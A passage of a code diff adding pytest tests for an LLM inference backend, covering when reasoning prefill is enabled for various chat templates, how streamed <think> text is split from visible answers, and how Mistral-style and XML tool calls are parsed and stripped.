+        feats = self._features(supports_reasoning = False, reasoning_style = None)
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g7_reasoning_always_on_prompt_opens_think(self):
+        # G7: always-on template whose generation prompt opens <think> -> prefilled regardless of the flag.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True
+
+    def test_g7b_reasoning_always_on_history_only_not_prefilled(self):
+        # G7b (#5704): always-on classification from rendered assistant HISTORY <think></think>
+        # (Kimi-K2-Thinking) whose generation prompt opens no <think>. Prefill mode would capture a
+        # normal answer entirely as reasoning_content and blank the visible answer, so it must be off.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) is False
+
+    def test_g8_gemma_bespoke_channel_excluded(self):
+        # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled
+        # (would otherwise swallow the whole answer as reasoning). Regression guard.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False
+
+    def test_g9_missing_template_not_prefilled(self):
+        # G9: no template available -> conservative (not prefilled).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, None) is False
diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py
new file mode 100644
index 0000000000..af5a05d266
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_reasoning_stream.py
@@ -0,0 +1,349 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Safetensors/MLX reasoning-block parity with GGUF.
+
+enable_thinking templates (Qwen3/GLM) prefill an unclosed ``<think>`` so the model
+emits only the closing ``</think>`` then the answer; the safetensors stream must
+split the leading text into ``reasoning_content`` deltas (plain stream and tool
+loop), resetting per turn and appending only visible text to the monitor. Replays a
+copy of ``sf_tool_stream``'s reasoning loop against synthetic events.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from routes.inference import (
+    _ResponsesReasoningExtractor,
+    _sf_reasoning_prefill_mode,
+    _strip_tool_xml_for_display,
+)
+
+
+_THINK_TPL = "...<think>...</think>..."
+_ETHINK = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+_ETHINK_EFFORT = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+
+
+def test_prefill_mode_on_for_enable_thinking_default():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, _THINK_TPL) is True
+
+
+def test_prefill_mode_off_when_thinking_disabled():
+    assert _sf_reasoning_prefill_mode(_ETHINK, False, _THINK_TPL) is False
+
+
+def test_prefill_mode_off_for_reasoning_effort_none():
+    # enable_thinking_effort turns thinking off via reasoning_effort="none"; prefilled mode
+    # would capture the whole answer as reasoning_content.
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none")
+        is False
+    )
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high")
+        is True
+    )
+
+
+def test_prefill_mode_off_without_think_markers():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, "no markers here") is False
+
+
+def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict:
+    """Mirror sf_tool_stream's reasoning loop: diff each cumulative ``content``
+    snapshot, feed the delta through the extractor, and reset (flushing first) on
+    ``tool_start`` / empty ``status`` so each turn splits independently."""
+    prev_text = ""
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = True, reasoning_prefilled = prefilled
+    )
+    reasoning_deltas: list[str] = []
+    visible_deltas: list[str] = []
+    monitor: list[str] = []
+    tool_starts: list[dict] = []
+    order: list[str] = []  # sequence of ("reasoning"|"visible"|"tool_start") events
+
+    def _flush():
+        fr, fv = extractor.finish()
+        if fr:
+            reasoning_deltas.append(fr)
+            order.append("reasoning")
+        if fv:
+            visible_deltas.append(fv)
+            monitor.append(fv)
+            order.append("visible")
+
+    for event in events:
+        etype = event["type"]
+        if etype == "status":
+            if not event["text"]:
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+            continue
+        if etype in ("tool_start", "tool_end"):
+            if etype == "tool_start":
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+                tool_starts.append(event)
+                order.append("tool_start")
+            continue
+        clean = _strip_tool_xml_for_display(event.get("text", ""), auto_heal_tool_calls = True)
+        new_text = clean[len(prev_text) :]
+        prev_text = clean
+        if not new_text:
+            continue
+        r, v = extractor.feed(new_text)
+        if r:
+            reasoning_deltas.append(r)
+            order.append("reasoning")
+        if v:
+            visible_deltas.append(v)
+            monitor.append(v)
+            order.append("visible")
+    _flush()
+    return {
+        "reasoning": "".join(reasoning_deltas),
+        "visible": "".join(visible_deltas),
+        "monitor": "".join(monitor),
+        "tool_starts": tool_starts,
+        "order": order,
+    }
+
+
+def test_s1_plain_stream_splits_prefilled_reasoning():
+    # S1: plain/MLX single turn -> reasoning delta + visible delta; monitor visible-only.
+    events = [
+        {"type": "content", "text": "Let me compute 17*23"},
+        {"type": "content", "text": "Let me compute 17*23 = 391</think>The answer is 391."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "Let me compute 17*23 = 391"
+    assert out["visible"] == "The answer is 391."
+    assert out["monitor"] == "The answer is 391."
+    assert "<think>" not in out["reasoning"] and "</think>" not in out["visible"]
+
+
+def test_s2_reasoning_flushed_before_tool_start():
+    # S2: reasoning streamed as reasoning_content, then flushed BEFORE tool_start.
+    events = [
+        {"type": "content", "text": "I should search"},
+        {"type": "content", "text": "I should search Sydney weather</think>"},
+        {"type": "tool_start", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "tool_end", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "Found it</think>Sydney is 21C today."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    # Both turns' reasoning surfaced, answer only from turn 2.
+    assert "I should search Sydney weather" in out["reasoning"]
+    assert "Found it" in out["reasoning"]
+    assert out["visible"] == "Sydney is 21C today."
+    assert out["monitor"] == "Sydney is 21C today."
+    # Ordering: the pre-tool reasoning is emitted before the tool_start.
+    assert out["order"].index("reasoning") < out["order"].index("tool_start")
+
+
+def test_s3_extractor_resets_each_turn():
+    # S3: multi-turn -> the two turns' reasoning are distinct (fresh extractor each).
+    events = [
+        {"type": "content", "text": "turn1 thoughts</think>partial"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "turn2 thoughts</think>final answer"},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "turn1 thoughtsturn2 thoughts"
+    assert out["visible"] == "partialfinal answer"
+
+
+def test_s4_harmony_full_tags_normal_mode():
+    # S4: gpt-oss / explicit-tag models use normal mode (prefilled=False).
+    events = [{"type": "content", "text": "<think>reasoning here</think>visible answer"}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == "reasoning here"
+    assert out["visible"] == "visible answer"
+
+
+def test_s5_thinking_off_no_reasoning_deltas():
+    # S5: thinking disabled -> not prefilled, no </think>, all content is visible.
+    events = [{"type": "content", "text": "Just the plain answer, no thinking."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == ""
+    assert out["visible"] == "Just the plain answer, no thinking."
+    assert out["monitor"] == "Just the plain answer, no thinking."
+
+
+def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
+    # GLM-5.2-style enable_thinking_effort: a request with reasoning_effort="none" (and
+    # enable_thinking omitted) disables thinking exactly like enable_thinking=False, so
+    # prefilled mode must be OFF. Otherwise the model emits no </think> and a plain
+    # answer is swallowed whole into reasoning_content, leaving the visible response
+    # empty (the exact bug: prefilled=True below eats the whole answer).
+    feats = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "none") is False
+    # Thinking on (effort level or default) still prefills.
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "high") is True
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, None) is True
+    # An explicit enable_thinking=False also disables (unchanged).
+    assert _sf_reasoning_prefill_mode(feats, False, _THINK_TPL, "high") is False
+    # reasoning_always_on wins regardless of reasoning_effort.
+    always = {**feats, "reasoning_always_on": True}
+    assert _sf_reasoning_prefill_mode(always, None, _THINK_TPL, "none") is True
+    # Plain enable_thinking models (Qwen) have no "none" sentinel; unaffected.
+    plain = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(plain, None, _THINK_TPL, "none") is True
+
+    # End-to-end: with the corrected prefilled=False, a plain no-</think> answer is
+    # emitted as visible content rather than swallowed into the thinking drawer.
+    events = [{"type": "content", "text": "The capital of France is Paris."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["visible"] == "The capital of France is Paris."
+    assert out["reasoning"] == ""
+    # The buggy prefilled=True path is what swallowed the whole answer (guard the delta).
+    swallowed = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert swallowed["visible"] == ""
+    assert swallowed["reasoning"] == "The capital of France is Paris."
+
+
+def test_native_reasoning_streamer_selected_and_errors_raise():
+    import threading
+    import pytest
+
+    torch = pytest.importorskip("torch")
+    inf = pytest.importorskip("core.inference.inference")
+
+    class Batch(dict):
+        def to(self, _device):
+            return self
+
+    class Tok:
+        chat_template = "<|channel>thought\n...<channel|>"
+        all_special_tokens = []
+        eos_token_id = 1
+        pad_token_id = None
+        pieces = {10: "<|channel>thought\n", 11: "r", 12: "<channel|>", 13: "a"}
+
+        def __call__(self, *_args, **_kwargs):
+            return Batch({"input_ids": torch.zeros((1, 1), dtype = torch.long)})
+
+        def decode(self, ids, **_kwargs):
+            return "".join(self.pieces.get(int(token_id), "") for token_id in ids)
+
+    class Model:
+        device = "cpu"
+        generation_config = type("Cfg", (), {"eos_token_id": 1})()
+        config = generation_config
+
+        def __init__(self, fail = False):
+            self.fail = fail
+            self.kwargs = None
+
+        def generate(self, **kwargs):
+            self.kwargs = kwargs
+            streamer = kwargs["streamer"]
+            streamer.put(torch.zeros((1, 1), dtype = torch.long))
+            for token_id in [10, 11, 12, 13]:
+                streamer.put(torch.tensor([token_id]))
+                if self.fail:
+                    raise RuntimeError("boom")
+
+    backend = inf.InferenceBackend.__new__(inf.InferenceBackend)
+    backend.active_model_name = "gemma-test"
+    backend._generation_lock = threading.Lock()
+    backend.models = {"gemma-test": {"model": Model(), "tokenizer": Tok()}}
+
+    assert list(backend.generate_stream("prompt", max_new_tokens = 4))[-1] == "<think>r</think>a"
+
+    backend.models["gemma-test"]["model"] = Model(fail = True)
+
+    with pytest.raises(inf._GenerationThreadError, match = "boom"):
+        list(backend.generate_stream("prompt", max_new_tokens = 4))
+
+
+def test_text_only_vlm_fallback_resolves_native_markers_off():
+    import threading
+    import pytest
+
+    torch = pytest.importorskip("torch")
+    inf = pytest.importorskip("core.inference.inference")
+
+    class Batch(dict):
+        def to(self, _device):
+            return self
+
+    class Tokenizer:
+        all_special_tokens = []
+        eos_token_id = 1
+        pad_token_id = None
+
+        def __call__(self, *_args, **_kwargs):
+            return Batch({"input_ids": torch.zeros((1, 1), dtype = torch.long)})
+
+    class Processor:
+        chat_template = "<|channel>thought\n...<channel|>"
+        tokenizer = Tokenizer()
+
+    class Model:
+        device = "cpu"
+        generation_config = type("Cfg", (), {"eos_token_id": 1})()
+        config = generation_config
+
+        def generate(self, **_kwargs):
+            return None
+
+    class EmptyStreamer:
+        def __next__(self):
+            raise StopIteration
+
+        def end(self):
+            return None
+
+    captured = {}
+    backend = inf.InferenceBackend.__new__(inf.InferenceBackend)
+    backend.active_model_name = "vision-test"
+    backend._generation_lock = threading.Lock()
+    backend.models = {
+        "vision-test": {
+            "model": Model(),
+            "processor": Processor(),
+            "tokenizer": Processor(),
+        }
+    }
+    backend.format_chat_prompt = lambda *_args, **_kwargs: "manual text-only prompt"
+
+    def make_streamer(*_args, **kwargs):
+        captured.update(kwargs)
+        return EmptyStreamer()
+
+    backend._make_text_streamer = make_streamer
+
+    assert (
+        list(
+            backend._generate_vision_response(
+                messages = [{"role": "user", "content": "hello"}],
+                system_prompt = "",
+                image = None,
+                temperature = 0.7,
+                top_p = 0.9,
+                top_k = 40,
+                min_p = 0.0,
+                max_new_tokens = 1,
+                repetition_penalty = 1.0,
+            )
+        )
+        == []
+    )
+    assert captured["reasoning_channel_markers"] is None
+    assert captured["reasoning_channel_markers_resolved"] is True
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 3f2d49f0dd..31c728afca 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -115,6 +115,22 @@ class TestParser:
         assert result[0]["function"]["name"] == "python"
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        import json
+
+        # Only the wrapping newline is trimmed; code-argument indentation survives.
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_xml_unclosed(self):
         # Closing tags omitted; parser must still extract the value.
         text = "<function=terminal><parameter=command>ls -la"
@@ -138,6 +154,20 @@ class TestParser:
         assert len(result) == 1
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        # Only the wrapping newline is trimmed, so code-argument indentation survives (str.strip() destroyed it).
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_function_signal_inside_parameter_is_literal(self):
         text = (
             "<function=python>"
@@ -169,6 +199,8 @@ class TestParser:
         assert has_tool_signal("blah <tool_call> x")
         assert has_tool_signal("blah <|tool_call>call:terminal")
         assert has_tool_signal("hi <function=foo>...")
+        assert has_tool_signal("ok [TOOL_CALLS]web_search{...")
+        assert has_tool_signal("fine python[ARGS]{...")
         assert not has_tool_signal("hello world")
 
     def test_render_html_start_detector_uses_first_tool(self):
@@ -183,12 +215,59 @@ class TestParser:
             '<tool_call>{"name":"python","arguments":{"code":"<function=render_html>"}}'
         )
 
+    def test_render_html_start_detector_covers_mistral_and_rehearsal_forms(self):
+        # The provisional render-html card must fire for bracket-tag forms too, not only XML.
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html{"code":"<html>"}')
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html[ARGS]{"code":"x"}')
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"name":"render_html","arguments":{}}]'
+        )
+        assert _detect_render_html_tool_start('render_html[ARGS]{"code":"<html>"}')
+        # A different first tool (or a prose mention with no JSON body) must not fire.
+        assert not _detect_render_html_tool_start('[TOOL_CALLS]web_search{"q":"x"}')
+        assert not _detect_render_html_tool_start('web_search[ARGS]{"q":"x"}')
+        assert not _detect_render_html_tool_start('python[ARGS]{"code":"render_html[ARGS]{}"}')
+        assert not _detect_render_html_tool_start("use render_html[ARGS] to render")
+
+    def test_render_html_start_detector_skips_think_block_rehearsal(self):
+        # A render_html rehearsed inside think must not fire the card; the outside-think call decides.
+        assert not _detect_render_html_tool_start(
+            '<think>draft render_html[ARGS]{"code":"x"}</think>python[ARGS]{"code":"print(1)"}'
+        )
+        assert not _detect_render_html_tool_start(
+            '[THINK]render_html[ARGS]{"code":"x"}[/THINK]web_search[ARGS]{"q":"y"}'
+        )
+        # A real render_html AFTER a rehearsed non-render_html inside think still fires.
+        assert _detect_render_html_tool_start(
+            '<think>web_search[ARGS]{"q":"x"}</think>render_html[ARGS]{"code":"<html>"}'
+        )
+        # A render_html rehearsed inside think with no real call after does not fire.
+        assert not _detect_render_html_tool_start('<think>render_html[ARGS]{"code":"x"}</think>')
+
+    def test_render_html_start_detector_reads_top_level_array_name(self):
+        # Array form: the name is the object's top-level ``"name"``, not an argument key.
+        assert not _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"render_html"},"name":"python"}]'
+        )
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"python"},"name":"render_html"}]'
+        )
+
     def test_strip_markup_closed(self):
         text = "before <tool_call>{}</tool_call> after"
         assert strip_tool_markup(text) == "before  after"
         text = 'before <|tool_call>call:terminal{command:"ls"}<tool_call|> after'
         assert strip_tool_markup(text) == "before  after"
 
+    def test_strip_named_mistral_call_consumes_trailing_eos(self):
+        # The named ``[TOOL_CALLS]name{json}`` shape must eat the optional
+        # trailing ``</s>`` like the array shape, so the EOS marker is not left
+        # behind as visible content.
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s>'
+        assert strip_tool_markup(text) == ""
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s> and then'
+        assert strip_tool_markup(text) == " and then"
+
     def test_strip_markup_unclosed_final(self):
         text = "before <tool_call>{partial"
         # final=True drops the trailing run.
@@ -214,6 +293,849 @@ class TestParser:
             == "before "
         )
 
+    # Mistral [TOOL_CALLS] bracket-tag.
+
+    def test_mistral_bracket_basic(self):
+        # Devstral / Mistral-Small fallback when bypassing native FC.
+        text = '[TOOL_CALLS]web_search{"query":"weather"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        assert isinstance(result[0]["function"]["arguments"], str)
+        assert "weather" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_inside_unclosed_think_is_ignored(self):
+        """Rehearsal-shaped markup inside an unclosed <think> block must
+        not be executed as a real tool call. Mid-stream the </think>
+        tag has not arrived yet, so the strip regex has to accept
+        end-of-string as a terminator. Regression for the Gemini
+        high-severity flag on this PR."""
+        text = (
+            "<think>I should call web_search[ARGS]" '{"query":"weather"} next to find the answer.'
+        )
+        result = parse_tool_calls_from_text(text)
+        # Inside an unclosed think block no calls are yielded.
+        assert result == []
+
+    def test_rehearsal_inside_unclosed_bracket_think_is_ignored(self):
+        text = "[THINK]planning to use python[ARGS]" '{"code":"print(1)"} but not yet.'
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_rehearsal_after_closed_think_still_parsed(self):
+        text = "<think>planning</think>" 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_inside_prefilled_think_is_ignored(self):
+        """Reasoning models (Qwen3.5 enable_thinking) open <think> in the PROMPT,
+        so generated content starts inside the thought and carries only a closing
+        </think>. A call rehearsed in that leading thought must be skipped, while a
+        real call after the close still fires."""
+        text = 'planning web_search[ARGS]{"query":"draft"}</think>python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_literal_close_think_in_leading_argument_not_prefill(self):
+        """A </think> literal inside a real leading call's arguments must not be
+        read as a prefilled-reasoning close (which would skip the call)."""
+        text = 'web_search[ARGS]{"query":"what is </think>"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_stray_close_after_real_call_not_treated_as_prefill(self):
+        """A real leading call followed by a stray </think> and no further call is
+        a normal answer, not prefilled reasoning; the call must still fire (the
+        virtual span only applies when a real call follows the close)."""
+        text = 'Now web_search[ARGS]{"query":"x"}</think> answer'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_with_whitespace(self):
+        # Optional whitespace (incl. newlines) between the name and the opening brace.
+        text = '[TOOL_CALLS]python  \n  {"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_mistral_bracket_nested_json(self):
+        # Brace-balance scan handles nested objects and braces inside string literals.
+        text = "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        import json as _json
+
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "a {nested} brace"
+        assert args["opts"] == {"limit": 5}
+
+    def test_mistral_bracket_with_prose(self):
+        # Bracket-tag surrounded by prose is still recognised.
+        text = (
+            "Sure, I will look that up.\n"
+            '[TOOL_CALLS]web_search{"query":"weather"}\n'
+            "Calling now."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_bad_json_dropped(self):
+        text = "[TOOL_CALLS]web_search{not valid}"
+        result = parse_tool_calls_from_text(text)
+        # No usable tool call; callers fall back to text.
+        assert result == []
+
+    def test_mistral_bracket_object_with_array_value(self):
+        # Args must be a JSON object; a dict wrapping an array value is accepted.
+        text = '[TOOL_CALLS]web_search{"opts":[1,2,3]}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Rehearsal syntax name[ARGS]{json}.
+
+    def test_rehearsal_basic(self):
+        text = 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_with_prose(self):
+        text = "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_bad_json_dropped(self):
+        text = "python[ARGS]{not valid json}"
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_mistral_bracket_hyphenated_mcp_name(self):
+        # Dashed MCP names must be captured whole, not truncated at the first dash.
+        text = '[TOOL_CALLS]mcp__srv__list-issues{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_rehearsal_hyphenated_mcp_name(self):
+        text = 'mcp__srv__list-issues[ARGS]{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_streaming_strip_removes_partial_bracket_marker(self):
+        # A bracket tag streamed before its opening brace must strip on the final pass, not leak.
+        assert strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer"
+        assert strip_tool_markup("text python[ARGS]", final = True) == "text"
+        # Non-final must keep the in-progress tag buffered (not yet stripped).
+        partial = "answer [TOOL_CALLS]web_search"
+        assert strip_tool_markup(partial, final = False) == partial
+
+    def test_strip_removes_two_level_nested_bracket_call_keeps_prose(self):
+        # Two-level-nested args must be removed whole; the balanced scan handles any depth.
+        text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+        assert strip_tool_markup(text, final = False) == "before  after"
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_strip_removes_call_with_literal_think_in_argument(self):
+        # A literal think block inside arguments strips with the call, not as a reasoning block.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_strip_preserves_real_think_but_strips_call_with_literal_think(self):
+        text = (
+            "<think>planning</think> ok "
+            '<tool_call>{"name":"w","arguments":{"t":"<think>x</think>"}}</tool_call> done'
+        )
+        out = strip_tool_markup(text, final = True)
+        assert "<think>planning</think>" in out
+        assert "<tool_call>" not in out and '"name"' not in out
+        assert "ok" in out and "done" in out
+
+    def test_prose_mentioning_args_marker_is_not_truncated(self):
+        # ``foo[ARGS] to the template`` is prose; the catch-all must not delete the sentence.
+        text = "Please pass foo[ARGS] to the template and continue reading."
+        assert strip_tool_markup(text, final = True) == text
+
+    def test_streaming_strip_handles_mistral_v11_call_id_args(self):
+        # The streaming strip uses the regex patterns directly, so they must cover the v11
+        # [CALL_ID]/[ARGS] metadata (aligned with the parser).
+        raw = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+        assert "before" in out and "after" in out
+
+    # <think> pre-strip.
+
+    def test_think_block_stripped_before_xml(self):
+        # The think block is stripped before matching so the post-thinking call is recognised.
+        text = (
+            "<think>I will use web_search to find the weather.</think>"
+            '<tool_call>{"name":"web_search","arguments":{"query":"sf"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_think_block_stripped_before_bracket_tag(self):
+        text = (
+            "<think>Let me search for that.</think>\n" '[TOOL_CALLS]web_search{"query":"weather"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_uppercase_think_tag_stripped(self):
+        # Some templates use [THINK]...[/THINK] instead of <think>.
+        text = "[THINK]planning my next call[/THINK]" '[TOOL_CALLS]python{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_think_block_hides_inner_tool_call(self):
+        # A call mentioned inside think is a rehearsal; the wrapper strip removes the inner markup.
+        text = (
+            "<think>I might call "
+            '<tool_call>{"name":"web_search","arguments":{}}</tool_call> '
+            "but I am not sure</think>\n"
+            "Let me just answer directly."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_think_literal_inside_real_tool_argument_is_preserved(self):
+        # A real call whose argument contains a literal think tag must not be corrupted.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["text"] == (
+            "compare <think> and </think> tags"
+        )
+
+    def test_bracket_tag_argument_with_think_literal_is_preserved(self):
+        text = '[TOOL_CALLS]search{"q":"explain [THINK] blocks"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "explain [THINK] blocks"
+
+    def test_real_call_after_think_with_rehearsal_inside(self):
+        # A rehearsal inside <think> is skipped, but the real call after the close tag parses.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think>search[ARGS]{"q":"real"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "real"
+
+    # XML takes precedence over bracket-tag.
+
+    def test_xml_wins_over_bracket(self):
+        # When a model emits both forms in one message, the XML form is canonical and wins.
+        text = (
+            '<tool_call>{"name":"primary","arguments":{}}</tool_call>'
+            '[TOOL_CALLS]secondary{"k":"v"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "primary"
+
+    # Strip patterns include bracket-tag and rehearsal.
+
+    def test_strip_bracket_tag_closed(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"hi"} after'
+        assert "[TOOL_CALLS]" not in strip_tool_markup(text)
+        assert "before" in strip_tool_markup(text)
+        assert "after" in strip_tool_markup(text)
+
+    def test_strip_rehearsal_closed(self):
+        text = 'prose python[ARGS]{"code":"x"} more prose'
+        cleaned = strip_tool_markup(text)
+        assert "[ARGS]" not in cleaned
+        assert "prose" in cleaned
+        assert "more prose" in cleaned
+
+    def test_strip_bracket_tag_unclosed_final(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"part'
+        # Final-mode strip drops the trailing unclosed run.
+        cleaned = strip_tool_markup(text, final = True)
+        assert "TOOL_CALLS" not in cleaned
+        assert cleaned == "before"
+
+    # Canonical Mistral array, v11 [CALL_ID], unified multi-call (PR review fixes).
+
+    def test_mistral_canonical_array_is_parsed(self):
+        # Canonical multi-call array: every call must parse (was dropped then deleted to EOS).
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}},{"name":"b","arguments":{"y":2}}]'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(result[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_array_string_arguments_are_decoded(self):
+        # OpenAI-spec arguments arrive as a JSON string; decode to an object.
